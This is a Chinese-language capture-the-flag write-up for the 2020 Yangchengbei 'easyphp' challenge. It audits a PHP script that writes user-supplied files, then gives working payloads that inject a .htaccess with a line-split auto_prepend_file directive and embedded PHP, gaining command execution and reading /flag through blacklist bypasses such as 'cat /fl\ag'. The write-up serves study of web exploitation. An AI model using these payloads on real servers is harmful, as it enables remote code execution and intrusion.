羊城杯2020-easyphp

  1. 羊城杯2020-easyphp
    1. .htaccess新知识

羊城杯2020-easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

代码审计

1
2
3
4
5
6
7
8
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

将当前目录中除了index.php的所有文件删除


1
2
3
4
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}

对传参content进行黑名单过滤。


1
2
3
4
5
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}

对传参filename,进行正则,只允许使用.和字母


1
2
3
4
5
6
7
8
9
$files = scandir('./'); 
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");

再一次删除当前目录下除了index.php的文件,然后使用file_put_contents函数以我们传入的filename和content作为参数写入文件。并且在content后连接\nhello,world字符串。


首先先试试传入muma.php,内容为一句话木马,传完之后url访问,发现不能正常解析php,会被当做文本输出,而不是代码执行。

然后我就想着先传一个.htaccess或者.user.ini上去,再传我们的muma.php使其能够当做php执行,但是这里只能传一个文件,因为再传第二个文件的时候前一个文件会被删除。

这里就涉及到一个新的知识点了。

.htaccess新知识

.htaccess有这样一个运用,.htaccess可以把自己指定当做php文件处理

.htaccess详解

这题file被过滤了,但是在.htaccess的语法中可以使用\来连接下一行的代码,然后由于源码会在我们写入的内容后添加一句\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess解析格式,不能够正常解析,所以我们可以在php代码后加上\对\n的\进行转义,使其失去换行效果。

所以最后.htaccess中的内容为。

1
2
3
php_value auto_prepend_fi\
le .htaccess
#<?php system('ls');?>\nHello,world

所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的php代码,将结果输出出来了,#后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a进行代替,#%23代替,传参测试paylaod,运行两次成功执行代码

payload:

1
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls");?>\&filename=.htaccess

回显结果

1
php_value auto_prepend_fi\ le .htaccess #index.php \ Hello, world

payload成功执行

现在只要修改命令即可拿到flag

1
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /");?>\&filename=.htaccess

结果

1
php_value auto_prepend_fi\ le .htaccess #bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var \ Hello, world

直接cat /flag不行,因为flag被过滤了,简单的rce绕过即可

1
2
3
4
5
6
cat /fl\ag
cat /fl'a'g
cat /fla*


?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl\ag");?>\&filename=.htaccess

拿到flag

1
php_value auto_prepend_fi\ le .htaccess #flag{3bbbccd7-e8d2-427a-bd05-7e16a34a2e0b} \ Hello, world

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github